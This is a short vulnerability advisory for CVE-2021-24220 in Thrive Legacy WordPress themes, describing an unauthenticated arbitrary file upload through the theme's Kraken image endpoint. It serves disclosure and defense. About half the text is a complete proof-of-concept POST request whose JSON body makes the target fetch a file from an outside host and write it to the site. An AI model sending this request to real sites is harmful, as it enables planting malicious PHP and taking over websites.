All Thrive Themes Legacy Themes < 2.0.0 – Unauthenticated Arbitrary File Upload and Option Deletion | CVE 2021-24220

Description

Thrive “Legacy” themes register a REST API endpoint to compress images using the Kraken image optimization engine. By supplying a crafted request in combination with data inserted using the Option Update vulnerability, it was possible to use this endpoint to retrieve malicious code from a remote URL and overwrite an existing file on the site with it or create a new file.This includes executable PHP files that contain malicious code.

Proof of Concept

POST /wp-json/thrive/kraken HTTP/1.1
Host: [URL]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 104

{"id":"td_optin_webhook","results":{"http:\/\/key":{"kraked_url":"https:\/\/ramgall.com\/license.txt"}}}